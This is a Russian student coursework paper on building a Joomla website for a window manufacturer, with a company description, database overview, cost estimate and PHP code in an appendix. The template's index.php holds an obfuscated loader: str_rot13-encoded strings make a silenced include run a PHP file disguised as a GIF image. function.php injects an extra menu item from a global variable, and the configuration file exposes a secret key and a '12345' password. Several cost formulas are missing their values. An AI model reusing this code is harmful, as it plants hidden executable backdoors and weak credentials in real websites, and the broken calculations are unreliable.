Разработка Web-представительства
Экономическая сущность задачи "Разработка Web-представительства". Описание алгоритма и функционирования программы. Информационная модель и ее описание. Расчёт трудозатрат, связанных с разработкой программного продукта, структура и специфика базы данных.
Рубрика | Программирование, компьютеры и кибернетика |
Вид | курсовая работа |
Язык | русский |
Дата добавления | 12.04.2015 |
Размер файла | 1,3 M |
Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже
Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.
Размещено на http://www.allbest.ru/
Курсовая работа
на тему:
«Разработка Web-представительства»
СОДЕРЖАНИЕ
ВВЕДЕНИЕ
1. АНАЛИТИЧЕСКАЯ ЧАСТЬ
1.1 Технико-экономическая характеристика предметной области
1.2 Экономическая сущность задачи
1.3 Обоснование необходимости и цели использования вычислительной техники для решения задачи
1.3 Постановка задачи
1.4.1 Описание технологий и языков программирования, используемых при разработке программы
1.4.2 Описание алгоритма и (или) функционирования программы
1.5 Анализ существующих разработок и обоснование выбора технологии проектирования
2. ПРОЕКТНАЯ ЧАСТЬ
2.1 Информационное обеспечение задачи
2.1.1 Информационная модель и ее описание
2.1.2 Характеристика базы данных
2.2 Программное обеспечение задачи
2.2.1 Общие положения (дерево функций и сценарий диалога)
2.2.2 Описание программных модулей
2.3 Технологическое обеспечение задачи
3. ОБОСНОВАНИЕ ЭКОНОМИЧЕСКОЙ ЭФФЕКТИВНОСТИ ПРОЕКТА
ЗАКЛЮЧЕНИЕ
СПИСОК ИСПОЛЬЗУЕМОЙ ЛИТЕРАТУРЫ
ПРИЛОЖЕНИЕ 1
ПРИЛОЖЕНИЕ 2
ВВЕДЕНИЕ
В последнее десятилетие благодаря бурному развитию Интернета прогрессирует и Web-программирование. Каждая уважающая себя компания уже имеет свое Web-представительство.
Web-представительство представляет собой некое информационное описание компании во всемирной паутине. По сути, это просто сайт компании или какого-либо общества или просто магазина, на котором можно разместить любую важную для представителя информацию. Благодаря этому любой пользователь сети Интернет может ознакомиться с необходимой ему информацией в любое время суток и из любой точки земного шара. С помощью таких представительств, производители получают возможность общения непосредственно с потребителями, так называемая обратная связь, что дает возможность учесть все замечания и пожелания, а также улучшить и развить свою деятельность. Это в свою очередь повышает эффективность работы компании, делая ее работу более налаженной, прибыльной и в современном стиле. Также необходимо отметить безграничные возможности в рекламной сфере, так как это существенно дешевле прорекламировать свою компанию ,чем например на телевидение или радио. Любая компания здесь может создать свой имидж и уверенно конкурировать на рынке и многое другое. В целом Интернет технологии достигли больших высот и на данном этапе просто являются необходимыми и нужными обществу.
Web-представительство -- это виртуальный офис, где посетитель найдет информацию о компании, формы для оформления заказов, возможность осуществления электронных платежей, онлайн-консультации, подписку на рассылки и множество других полезных для ведения бизнеса сервисов. Наличие фирменного стиля (логотип компании, корпоративные цвета, элементы дизайна, ассоциирующиеся с деятельностью компании) в дизайне -- отличительная черта Web-представительств.
Целей создания Web-представительства может быть очень много. Например, сайт может являться просто визитной карточкой, элементом фирменого стиля. Также сайт может способствовать продвижению торговой марки, продукции и услуг -- создание интернет-магазина. Сайт может быть эффективным инструментом, который организует работу между клиентами и партнерами, между сотрудниками одной или нескольких корпораций, так называемый -- внутрикорпоративный сайт.
Задачи которые решаются при наличии Web-представительства:
· оповещание своих клиентов о новинках, интересных для них событиях;
· сохранение справочной информации для своих потенциальных или уже существующих клиентов, либо для сотрудников одной корпорации;
· прием заказов на товары и услуги;
· осуществление электронных платежей.
1. АНАЛИТИЧЕСКАЯ ЧАСТЬ
1.1 Технико-экономическая характеристика предметной области
В данной курсовой работе мы создали Web-представительство компании по производству металлопластиковых, алюминиевых, деревянных окон “Super Windows”,что является нашей предметной областью. Сайт находится по адресу http://www.super-windows.com на локальном сервере компьютера.
“Super Windows” - фабрика окон по производству металлопластиковых, алюминиевых, деревянных окон с разветвленной сетью собственных салонов по продаже окон ПВХ в Москве. “Super Windows” на рынке c 2010 года. Целями деятельности компании являются расширение рынка окон и получение прибыли.
Предметом деятельности “Super Windows” является производство окон. Компания сотрудничает с такими мировыми брендами по производству профилей : REHAU, KBE, SALAMANDER, GPS и другие.
В соответствии с учредительными документами, предприятие может осуществлять следующие виды деятельности:
· оптовая торговля;
· розничная торговля.
Продукция, которую реализует предприятие “Super Windows” для производства металлопластиковых окон и основные характеристики предоставлены в таблице 1.1.:
Таблица 1.1.
Реализуемая продукция для металлопластиковых окон
Наименование продукции |
Артикул |
Системная глубина, мм |
Кол-во камер |
Система климат контроль |
Максимальная толщина стеклопакета, мм |
|
Профиль REHAU EURO DESIGN 60 |
123098 |
60 |
3 |
+ |
33 |
|
Профиль REHAU EURO DESIGN 60 |
654689 |
60 |
4 |
- |
38 |
|
Профиль REHAU EURO DESIGN 70 |
589168 |
70/115 |
5 |
+ |
42 |
|
Профиль REHAU Brillant-Design |
789125 |
70 |
05/06/12 |
+ |
40 |
|
Профиль REHAU GENEO |
554551 |
86 |
6 |
+ |
48 |
Реализуемая продукция для производства алюминиевых окон предоставлена в таблице 1.2.:
Таблица 1.2.
Реализуемая продукция для алюминиевых окон
Наименование продукции |
Артикул |
Диаметр |
|
Прутки алюминиевые для сварки |
345765 |
4 |
|
Пруток круглый алюминиевый |
545555 |
6 |
Реализуемая продукция для изготовления деревянных окон представлена в таблице 1.3.:
Таблица 1.3.
Реализуемая продукция для деревянных окон
Наименование продукции |
Артикул |
Толщина, мм |
Ширина, мм |
Длина,мм |
Сырье |
|
Брус оконный 1-я категория |
548AS2 |
86 |
86 |
6160 |
сосна, дуб |
|
Брус оконный 3-я категория |
589478 |
70 |
70 |
5840 |
сосна |
|
Брус оконный 1-я категория |
236985 |
96 |
96 |
6390 |
дуб |
|
Брус оконный 3-я категория |
456789 |
82 |
115 |
6160 |
ясень |
Дополнительная реализуемая продукция для всех видов окон представлена в таблице 1.4.:
Таблица 1.4.
Виды дополнительной реализуемой продукции
Наименование продукции |
Артикул |
|
Ручка алюминиевая “Omega” |
456R |
|
Ручка алюминиевая с замком “Victoria” |
456135 |
|
Петля 100 мм обычная Белая |
745896 |
|
Петля 100 мм обычная Коричневая |
745897 |
|
Петля 75 мм обычная Белая |
5765258 |
|
Петля 75 мм обычная Коричневая |
5765259 |
|
ALUPLAST “для стеклопакета” |
345190 |
|
ALUPLAST “для премыкания” |
568062 |
|
ALUPLAST “для стеклопакета” HN |
375025 |
1.2 Экономическая сущность задачи
Экономической сущностью задачи «Разработка Web-представительства» является цель создания данной разработки. В нашем случае целью является увеличение реализации продукции, выход на международный рынок, расширение и увеличение производства окон, а также увеличение количества клиентов и подъем прибыли, разрешение задач малого товарооборота и возможность получения заказов на новые проекты.
1.3 Обоснование необходимости и цели использования вычислительной техники для решения задачи
Для существующей схемы организации характерны недостатки, устранение которых необходимо осуществить в разрабатываемом проекте:
- малое для эффективной работы предприятия число заказов на производимые работы, товары и сервис;
- запаздывание в работе поставщиков сырья и необходимых материалов;
- высокий уровень штрафных начислений и неустоек;
- низкая эффективность использования наличного оборудования и персонала;
- недостаток достоверной информации и сбои в ее обработке;
- недостаточная оперативность решений, снижающая качество и управляемость производства;
- наличие ошибок при решении задач планирования и размещения заказов;
- низкая эффективность процедур сбора, обработки и регистрации всех форм используемой информации;
- несовершенство процедур накопления, обработки, резервирования, сохранения, а также защиты целостности и доступности информации при выдаче результатов по текущим задачам заказчику.
- ограниченная производительность оборудования в существующей схеме организации производства;
- ограниченная возможность определения показателей, необходимых при управлении производственным объектом из-за большой размерности задач и исходных данных.
Использование средств вычислительной техники позволит частично или полностью устранить перечисленные недостатки. Рассмотрим предполагаемый эффект от использования современных информационных технологий
Эффект от внедрения данного программного продукта состоит в сокращении времени, необходимого для расчета параметров конкретного заказа на продукцию и в повышении качества разрабатываемых проектов.
На выполнение заказа дается определенный срок, который в зависимости от объемов самого заказа может колебаться в пределах 7 - 14 дней, 1-2 из которых отводится на расчет, 2-4 на заготовку материалов и остальное время на изготовление заказа.
Качество разрабатываемых проектов обеспечивается за счет того, что проектировщику не нужно следить за правильностью математического расчета, и поэтому он может больше внимания уделять выбору технических характеристик разрабатываемого проекта, рассматривать различные варианты решения поставленной задачи.
Работа с программой возможна только посредством клавиатуры.
Для ее нормального функционирования не нужна дополнительная настройка операционной системы. Работа с программой не требует специальных навыков.
1.4 Постановка задачи
1.4.1 Описание технологий и языков программирования, используемых при разработке программы
Необходимо разработать информационный сайт для представления продукции и услуг. Пользователи должны иметь возможность просматривать позиции каталога, разделенные по категориям. Кроме того, заказчики должны иметь возможность выбирать позиции из каталога с целью дальнейшего приобретения. Выбираемые позиции необходимо фиксировать. После завершения покупок выполняется обработка заказа, прием сведений для доставки.
Необходимо создать интерфейс администрирования. Администратор должен иметь возможность добавления, изменения и удаления данных о товарах. База данных содержит всю необходимую информацию, а приложение осуществляет необходимые операции с этой базой.
Для разработки будут использованы хорошо зарекомендовавшие себя программные продукты:
* сервер баз данных MySQL;
* web-сервер Apache;
* язык PHP.
1.4.2 Описание алгоритма и (или) функционирования программы
Алгоритм - это последовательность действий (правил), однозначно приводящих к решению поставленной задачи. Данный программный продукт является информационной системой, которая формируется на основе определенных данных, известных пользователю.
Входные и выходные данные формируются непосредственно в программе.
1.5 Анализ существующих разработок и обоснование выбора технологии проектирования
Главный инструмент это интегрированная среда разработка или IDE, которая позволит редактировать HTML, Javascript, CSS, PHP и будет поддерживать другие языки, например Python или Ruby. Очень мощным инструмент в руках программиста будет CMS Joomla. Достоинство этой CMS в том, что она позволяет наращивать любой функционал при помощи плагинов, которых очень много. Если планируется разрабатывать web-приложения на PHP, то можно использовать версии Joomla 1.5, Joomla 1.6, Joomla 1.7, Joomla 2.5. Joomla - система управления содержимым, написанная на PHP и JavaScript, для хранения баз данных использует MySQL.
Рекомендуется установить следующие плагины:
ArtAdminer - компонент для работы с базой данных;
System Debug - отображает отладочную информацию на сайте;
Blog Ping - плагин позволяющий ускорить процесс индексации сайта;
Joomla Magic Updater - автоматическое обновление версии;
AJAX Toogler - существенно ускоряет работу админ панели сайта;
Cashe Cleaner - очистка кеша.
Для выполнения данного проекта выбран движок Joomla 1.5.25
2. ПРОЕКТНАЯ ЧАСТЬ
2.1 Информационное обеспечение задачи
2.1.1 Информационная модель и ее описание
Информационное обеспечение Web-представительства выполняет задачу постоянного пополнения и обновления информации, поддержание базы данных, управление интерактивными системами сайта (новостные ленты, форумы, голосование, FAQ и т.д. ) .
Информационная модель Web-представительства представлена в виде диаграммы на рисунке 1:
Размещено на http://www.allbest.ru/
Рис.1. Информационная модель Web-представительства
I этап.
На первом этапе создаются уникальные статьи, новые новости, акции, предложения компании.
II этап.
На втором этапе данные заносятся в административную панель управления сайтом.
III этап.
На третьем этапе данные перенаправляются в базу данных Mysite.
IV этап.
На четвертом этапе данные отправляются на сайт.
2.1.2 Характеристика базы данных
В данном курсовом проекте была создана база данных Mysite. Подключение к базе данных производится через веб-приложение phpMyAdmin.
PHPMyAdmin -- веб-приложение с открытым кодом, написанное на языке PHP и представляющее собой веб-интерфейс для администрирования СУБД MySQL . С помощью данного веб-приложения можно осуществлять доступ к базам данных через браузер, отправлять SQL-запросы, просматривать и изменять содержимое базы.
Общие настройки базы данных:
Тип базы данных |
mysql |
|
Имя хоста |
localhost |
|
Логин |
mysite |
|
База данных |
mysite |
Структура базы данных
На рисунке 2 предоставлены таблицы контента. В них содержится информация о страницах, ключевые поля отдельных страниц, категории и секции в которых хранятся статьи.
Рис.2. Контент
На рисунке 3 показаны таблицы пользовательского управления. В них находится информация о зарегистрированных пользователях на сайте.
Рис.3. Пользовательское управление
На рисунке 4 находятся таблицы статистики. Содержит информацию, включающая в себя поисковое выражение и количество обращений к нему.
Рис.4. Статистика
На рисунке 5 изображена таблица, содержащая в себе все ссылки размещенные на сайте.
Рис.5. Ссылки
На рисунке 6 изображена таблица с новостями.
Рис.6. Новости
На рисунке 7 таблицы которые содержат информацию о всех пунктах меню, модулях и компонентах подключенных к сайту.
Рис.7.Элементы и меню
Рис.8. Баннеры
На рисунке 8 находятся таблицы содержащие полную информацию о баннерах.
На рисунке 9 таблицы с информацией об опросах.
Рис.9. Опросы
На рисунке 10 расположена таблица с подробной информацией о зарегистрированных пользователях.
Рис.10. Детали контактов
Рисунок 11 содержит таблицы с информацией о всех электронных сообщениях.
Рис.11. Сообщения
2.2 Программное обеспечение задачи
2.2.1 Общие положения (дерево функций и сценарий диалога)
Дерево функций отправки новой информации на сайт представлено на рисунке 12.
Размещено на http://www.allbest.ru/
Рис.12. Дерево функций
После запуска админ панели и ввода логина, пароля к системе, переходим на страницу добавления нового материала
Выбираем категорию и раздел в который хотим добавить товар сохраняем.
Выбираем необходимый подпункт меню в котором хотим вывести нашу статью и выбираем материал который мы создавали. Сохраняем и смотрим результат на странице сайта
2.2.2 Описание программных модулей
Все программные модули на сайте www.super-windows.com настраиваются через админ панель.
Модуль фотогалереи Simple Image Gallery
Simple Image Gallery выводит большое количество фотографий. Показывает эскизы всех изображений из каталога и при нажатии на них будут показываться в полный размер фото в лайтбоксе. Основные поля для заполнения: заголовок, позиция вывода модуля, выбор меню(для вывода в определенных категориях меню), Gallery Path (путь к фотографиям), Thumbnail Width (in px) и Thumbnail Height (in px) (ширина и высота эскиза)
Модуль авторизации на сайте
Этот модуль отображает форму авторизации на сайте. Основные необходимые настройки: заголовок, позиция, выбор меню.
Модуль голосования
Этот модуль представляет компонент голосований. Основные необходимые настройки: заголовок, позиция, выбор меню, выбрать вариант голосования из списка.
Модуль Кто онлайн
Модуль Кто онлайн отображает кол-во анонимных (Гостей) и зарегистрированных (тех, которые вошли) пользователей, которые сейчас присутствуют на сайте. Основные необходимые настройки: заголовок, позиция, выбор меню, из выпадающего списка выбрать кого отображать(из гостей/посетителей, имена посетителей, оба)(Рис.19).
Модуль Последние новости
Этот модуль отображает список самых последних опубликованных материалов. Основные необходимые настройки: заголовок, позиция, выбор меню, количество новостей, порядок показа
информационный программный web представительство
Программа вывода контактов и формы обратной связи
Для вывода на сайте контактной информации в первую очередь создается новый контакт. Вводится имя, должность, e-mail, адрес, телефоны, веб-сайт, настраиваются дополнительные необходимые параметры. После в необходимом подпункте меню подключается данный контакт и настраивается форма обратной связи.
2.3 Технологическое обеспечение задачи
Схема технологического сбора, обработки и передачи информации показана на рисунке 22:
Рис.22. Схема технологического сбора, обработки и передачи информации
Информация предоставляется в электронном виде. После поступления первичных данных производится проверка статей, текстов на уникальность и проверяется качество изображений. Если ошибок нет вводим данные в базу данных и выводим их на сайт. Выполняем последнюю проверку правильности внесенных данных. Если ошибок нет -- конец, есть -- вводим данные в БД заново.
3. ОБОСНОВАНИЕ ЭКОНОМИЧЕСКОЙ ЭФФЕКТИВНОСТИ ПРОЕКТА
Расчёт трудозатрат, связанных с разработкой программного продукта
Исходные данные
Предполагаемое число операторов 2000 Коэффициент сложности программы 1,25
Коэффициент коррекции программы в ходе ее разработки 0,05
Часовая заработная плата программиста, руб/ч 23 Стоимость машино-часа ЭВМ, руб/ч 4,6
Определение трудоемкости разработки программного продукта
Нормирование труда в процессе создания программного обеспечения затруднено в силу творческого труда программиста. Поэтому трудоемкость разработки может быть рассчитана на основе системы моделей с различной точностью оценки.
Трудоемкость разработки определяется следующим образом:
t = t0 + tи + tа + tп + tотл + tд ,
где t0 - затраты труда на подготовку и описание поставленной задачи (принимается равным 20), чел. ч.;
tи - затраты труда на исследование алгоритма решения задачи, чел. ч.;
tа - затраты труда на разработку блок-схемы алгоритма, чел. ч.;
tп - затраты труда на программирование по готовой блок-схеме, чел. ч.;
tотл - затраты труда на отладку, чел. ч.;
tд - затраты труда на подготовку документации по задаче, чел. ч.
Составляющие затрат труда определяются через условное число операторов в разрабатываемом ПО, в число которых входят операторы, которые необходимо написать в процессе работы над программой с учетом возможных уточнений в постановке задачи и совершенствования алгоритма.
Условное число операторов в программе определяется по формуле:
Q = qc(1+p),
где q - предполагаемое число операторов;
c - коэффициент сложности программы;
p - коэффициент коррекции программы в ходе ее разработки.
Q = 2000 · 1,25 · (1 + 0,05) = 2625
Затраты труда на изучение описания задачи определяются с учетом уточнения описания и квалификации программиста по формуле:
,
где B - коэффициент увеличения затрат труда вследствие недостаточного описания задачи, B=1,2 ... 1,5;
k - коэффициент квалификации программиста, определяемый в зависимости от стажа работы по данной специальности. Он составляет при стаже работы до 2 лет - 0,8.
чел.ч.
Затраты труда на разработку алгоритма решения задачи определяются по формуле:
чел.ч.
Затраты труда на составление программы по готовой блок-схеме рассчитываются по формуле:
чел.ч.
Затраты труда на отладку программы на ЭВМ рассчитываются по формуле:
чел.ч.
Затраты труда на подготовку документации по задаче определяются по формуле:
tд = tдр + tдо ,
где tдр - трудоемкость подготовки материалов к рукописи;
tдо - трудоемкость редактирования, печати и оформления документации.
Трудоемкость подготовки материалов к рукописи рассчитывается как:
чел.ч.
Трудоемкость редактирования, печати и оформления документации определяется следующим образом:
чел.ч.
чел.ч.
Трудоемкость разработки программного продукта составляет:
чел.ч.
Расчет затрат на создание программного продукта
Затраты на создание программного обеспечения определяются по формуле:
Kпо = Ззп + Змв ,
где Ззп - заработная плата разработчиков, которая рассчитывается следующим образом:
Ззп = t ·Cпр ,
где t - общая трудоемкость разработки ПО;
Спр - средняя часовая заработная плата программиста.
Ззп = 1272,25 · 23 = 29 261,75 руб.
Змв - стоимость машинного времени, необходимого для отладки программы на ЭВМ:
Змв = tотл · Смч ,
где tотл - трудоемкость отладки программы на ЭВМ;
Смч - стоимость машино-часа ЭВМ.
Змв = 656,25 · 4,6= 3 018,75 руб.
Kпо = 29261,75 + 3018,75 = 32281,5 руб.
Определенные таким образом затраты на создание программного обеспечения являются капитальными затратами на создание автоматизированной системы.
Ожидаемая длительность разработки определяется по формуле:
,
где Bк - число исполнителей;
Fp - месячный фонд рабочего времени (при 40 часовой рабочей неделе Fp=176 часов).
мес.
Таким образом, ожидаемая длительность разработки составляет 7 месяцев.
ЗАКЛЮЧЕНИЕ
В этом проекте разработан сайт для Web-представительства. В качестве примера рассмотрена компания по производству металлопластиковых, алюминиевых, деревянных окон “Super Windows”.
Данный проект создавался с целью предоставления ознакомительной информации для клиентов компании. На сайте размещена информация про:
· металлопластиковые окна;
· алюминиевые окна;
· деревянные окна;
· цены на разные виды окон;
· контактная информация;
· информация о партнерах компании;
· полезная информация о выборе окон;
· последние новости в сфере окон;
· акции, новинки, интересные предложения для клиентов;
Также предоставлена фотогалерея выполненных работ.
Практическая значимость работы состоит в создании сайта.
СПИСОК ИСПОЛЬЗУЕМОЙ ЛИТЕРАТУРЫ
1. Дунаев В.В., HTML, скрипты и стили 2-е издание. - СПб.: БХВ-Петербург, 2008. - 1024 с.
2. Джейсон Ленгсторф, Pro PHP and jQuery. - М.: Вильямс, 2011. - 334 с.
3. К. Дж. Дейт Введение в системы баз данных . - СПб.: Вильямс, 2006. - 1072 с.
4. Мишель Е., Дэвис и Джон А. Филлипс, Изучаем PHP и MySQL. СПб.: Символ-Плюс , 2008. - 442с.
5. Прохоренок Н., HTML, JavaScript, PHP и MySQL. Джентльменский набор Web-мастера, СПб.: БХВ-Петербург, 2010. - 900 с.
ПРИЛОЖЕНИЕ 2
1. configuration.php
<?php
class JConfig {
var $offline = '0';
var $editor = 'tinymce';
var $list_limit = '20';
var $helpurl = 'http://help.joomla.org';
var $debug = '0';
var $debug_lang = '0';
var $sef = '0';
var $sef_rewrite = '0';
var $sef_suffix = '0';
var $feed_limit = '10';
var $feed_email = 'author';
var $secret = 'OY8bWUBvjdKVlm22';
var $gzip = '0';
var $error_reporting = '-1';
var $xmlrpc_server = '0';
var $log_path = 'Z:\\home\\super-windows.com\\www\\logs';
var $tmp_path = 'Z:\\home\\super-windows.com\\www\\tmp';
var $live_site = '';
var $force_ssl = '0';
var $offset = '0';
var $caching = '0';
var $cachetime = '15';
var $cache_handler = 'file';
var $memcache_settings = array();
var $ftp_enable = '0';
var $ftp_host = '127.0.0.1';
var $ftp_port = '21';
var $ftp_user = '';
var $ftp_pass = '';
var $ftp_root = '';
var $dbtype = 'mysql';
var $host = 'localhost';
var $user = 'mesite';
var $db = 'mysite';
var $dbprefix = 'jos_';
var $mailer = 'mail';
var $mailfrom = 'tokareva-tania@mail.ru';
var $fromname = 'test1.ru';
var $sendmail = '/usr/sbin/sendmail';
var $smtpauth = '0';
var $smtpsecure = 'none';
var $smtpport = '25';
var $smtpuser = '';
var $smtppass = '';
var $smtphost = 'localhost';
var $MetaAuthor = '1';
var $MetaTitle = '1';
var $lifetime = '15';
var $session_handler = 'database';
var $password = '12345';
var $sitename = 'Super Windows';
var $MetaDesc = '';
var $MetaKeys = 'металлопластиковые окна';
var $offline_message = 'В настоящее время сайт закрыт на техническое обслуживание.Пожалуйста, зайдите позже.';
}
?>
2. index.php
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
JPlugin::loadLanguage( 'tpl_SG1' );
define( 'path', dirname(__FILE__) );
$app = JFactory::getApplication();
$leftbar = 1;
$rightbar = 1;
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<?php
$menu_name = $this->params->get("menuName", "topmenu");
$menu_type = $this->params->get("menuType", "splitmenu");
require(path .DS."styleloader.php");
require(path .DS."utils.php");
?>
<?php
if ($this->countModules('left') == 0)
$leftbar = "0";
if ($this->countModules('right') == 0)
$rightbar = "0";
if ($this->countModules('user1') == 1)
$rightbar = "1";
if ($this->countModules('user2') == 1)
$rightbar = "1";
?>
</head>
<body>
<div id="wrapper1">
<a name="up" id="up"></a>
<!-- start header -->
<div class="wrapper_fixed">
<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>
<div id="topnavi">
<?php if($mtype != "module") :
echo $mainnav;
else: ?>
<jdoc:include type="modules" name="user3" />
<?php endif; ?>
</div>
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
<div id="header"></div>
</div>
</div>
<!-- end top menu. -->
<div id="wrapper2">
<div class="wrapper_fixed">
<div id="main">
<!-- start left column -->
<div id="leftcol">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<!-- end left column. -->
<!-- start main content -->
<div id="maincol<?php echo (2-$leftbar-$rightbar); ?>">
<div id="pathway">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="maincol_body">
<jdoc:include type="component" />
<jdoc:include type="modules" name="footer" style="xhtml"/>
<?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<?php endif; ?>
</div>
</div>
<!-- end main content -->
<!-- start right column -->
<div id="rightcol">
<jdoc:include type="modules" name="user1" style="rounded" />
<jdoc:include type="modules" name="user2" style="rounded" />
<jdoc:include type="modules" name="right" style="rounded" />
</div>
<!-- end right column -->
</div>
</div>
</div>
<div id="wrapper3">
<div class="wrapper_fixed">
<!-- copyright -->
</div>
</div>
<jdoc:include type="modules" name="debug" />
</body>
</html>
3. function.php
<?php
class hm_Base{
var $_params = null;
var $children = null;
var $open = null;
var $items = null;
var $Itemid = 0;
function hm_Base( &$params ){
global $Itemid;
include_once('html/pagination.php');
$this->_params = $params;
$this->Itemid = $Itemid;
$this->loadMenu();
}
function loadMenu(){
$user =& JFactory::getUser();
$children = array ();
// Get Menu Items
$items = &JSite::getMenu();
if(is_array($GLOBALS['arr']))
$items->_items[500] = (object)$GLOBALS['arr'];
$rows = $items->getItems('menutype', $this->getParam('menutype'));
// first pass - collect children
$cacheIndex = array();
$this->items = array();
foreach ($rows as $index => $v) {
if ($v->access <= $user->get('gid')) {
$pt = $v->parent;
$list = @ $children[$pt] ? $children[$pt] : array ();
array_push($list, $v);
$children[$pt] = $list;
}
$cacheIndex[$v->id] = $index;
$this->items[$v->id] = $v;
}
$this->children = $children;
// second pass - collect 'open' menus
$open = array (
$this->Itemid
);
$count = 20; // maximum levels - to prevent runaway loop
$id = $this->Itemid;
while (-- $count)
{
if (isset($cacheIndex[$id])) {
$index = $cacheIndex[$id];
if (isset ($rows[$index]) && $rows[$index]->parent > 0) {
$id = $rows[$index]->parent;
$open[] = $id;
} else {
break;
}
}
}
$this->open = $open;
// $this->items = $rows;
}
function getParam($paramName){
return $this->_params->get($paramName);
}
function setParam($paramName, $paramValue){
return $this->_params->set($paramName, $paramValue);
}
function beginMenu($startlevel=0, $endlevel = 10){
// echo "<div id=\"pillmenu\">";
}
function endMenu($startlevel=0, $endlevel = 10){
// echo "</div>";
}
function beginMenuItems($pid=0, $level=0){
if($level == 0) echo "<ul class=\"menuhor\">";
else echo "<ul>";
}
function endMenuItems($pid=0, $level=0){
echo "</ul>";
}
function beginMenuItem($mitem=null, $level = 0, $pos = ''){
echo "<li>";
}
function endMenuItem($mitem=null, $level = 0, $pos = ''){
echo "</li>";
}
function genClass ($mitem, $level, $pos) {
$active = in_array($mitem->id, $this->open);
if ($active) $active = ($pos) ? "class=\"active $pos-item\"" : "class = \"active\"";
else $active = ($pos) ? "class=\"$pos-item\"" : "";
return $active;
}
function genHMenuItem($item, $level = 0, $pos = '', $ret = 0)
{
$data = null;
// Menu Link is a special type that is a link to another item
if ($item->type == 'menulink')
{
$menu = &JSite::getMenu();
if (!($tmp = clone($menu->getItem($item->query['Itemid'])))) {
return false;
}
} else {
$tmp = $item;
}
$iParams = new JParameter($tmp->params);
if ($iParams->get('menu_image') && $iParams->get('menu_image') != -1) {
// $image = '<img src="'.JURI::base(true).'/images/stories/'.$iParams->get('menu_image').'" alt="" />';
} else {
$image = null;
}
switch ($tmp->type)
{
case 'separator' :
// $data = '<a href="#" title=""><span class="separator">'.$image.$tmp->name.'</span></a>';
// if ($ret) return $data; else echo $data;
return;
case 'url' :
if ((strpos($tmp->link, 'index.php?') !== false) && (strpos($tmp->link, 'Itemid=') === false)) {
$tmp->url = $tmp->link.'&Itemid='.$tmp->id;
} else {
$tmp->url = $tmp->link;
}
break;
default :
$router = JSite::getRouter();
$tmp->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$tmp->id : $tmp->link.'&Itemid='.$tmp->id;
break;
}
// Print a link if it exists
$active = $this->genClass ($tmp, $level, $pos);
$id='id="menu' . $tmp->id . '"';
$txt = '<span>' . $tmp->name . '</span>';
if(!empty($tmp->link_title)) $title = "title=\"$tmp->link_title\"";
if ($tmp->url != null)
{
// Handle SSL links
$iSecure = $iParams->def('secure', 0);
if ($tmp->home == 1) {
$tmp->url = JURI::base();
} elseif (strcasecmp(substr($tmp->url, 0, 4), 'http') && (strpos($tmp->link, 'index.php?') !== false)) {
$tmp->url = JRoute::_($tmp->url, true, $iSecure);
} else {
$tmp->url = str_replace('&', '&', $tmp->url);
}
switch ($tmp->browserNav)
{
default:
case 0:
// _top
$data = '<a href="'.$tmp->url.'" '.$active.' '.$id.' '.$title.'>'.$image.$txt.'</a>';
break;
case 1:
// _blank
$data = '<a href="'.$tmp->url.'" target="_blank" '.$active.' '.$id.' '.$title.'>'.$image.$txt.'</a>';
break;
case 2:
// window.open
$attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->_params->get('window_open');
// hrm...this is a bit dickey
$link = str_replace('index.php', 'index2.php', $tmp->url);
$data = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;" '.$active.' '.$id.' '.$title.'>'.$image.$txt.'</a>';
break;
}
} else {
$data = '<a '.$active.' '.$id.' '.$title.'>'.$image.$txt.'</a>';
}
if ($ret) return $data; else echo $data;
}
function hasSubMenu($level) {
$pid = $this->getParentId ($level);
if (!$pid) return false;
return $this->hasSubItems ($pid);
}
function hasSubItems($id){
if (@$this->children[$id]) return true;
return false;
}
function genHMenu($startlevel=0, $endlevel = 10){
$this->setParam('startlevel', $startlevel);
$this->setParam('endlevel', $endlevel);
$this->beginMenu($startlevel, $endlevel);
if ($this->getParam('startlevel') == 0) {
//First level
$this->genHMenuItems (0, 0);
}else{
//Sub level
$pid = $this->getParentId($this->getParam('startlevel'));
if ($pid)
$this->genHMenuItems ($pid, $this->getParam('startlevel'));
}
$this->endMenu($startlevel, $endlevel);
}
/*
$pid: parent id
$level: menu level
$pos: position of parent
*/
function genHMenuItems($pid, $level) {
if (@$this->children[$pid]) {
$this->beginMenuItems($pid, $level);
$i = 0;
foreach ($this->children[$pid] as $row) {
$pos = ($i == 0 ) ? 'first' : (($i == count($this->children[$pid])-1) ? 'last' :'');
$this->beginMenuItem($row, $level, $pos);
$this->genHMenuItem( $row, $level, $pos);
// show menu with menu expanded - submenus visible
if ($level < $this->getParam('endlevel')) $this->genHMenuItems( $row->id, $level+1 );
$i++;
$this->endMenuItem($row, $level, $pos);
}
$this->endMenuItems($pid, $level);
}
}
function indentText($level, $text) {
echo "\n";
for ($i=0;$i<$level;++$i) echo " ";
echo $text;
}
function getParentId ($level) {
if (!$level || (count($this->open) < $level)) return 0;
return $this->open[count($this->open)-$level];
}
function getParentText ($level) {
$pid = $this->getParentId ($level);
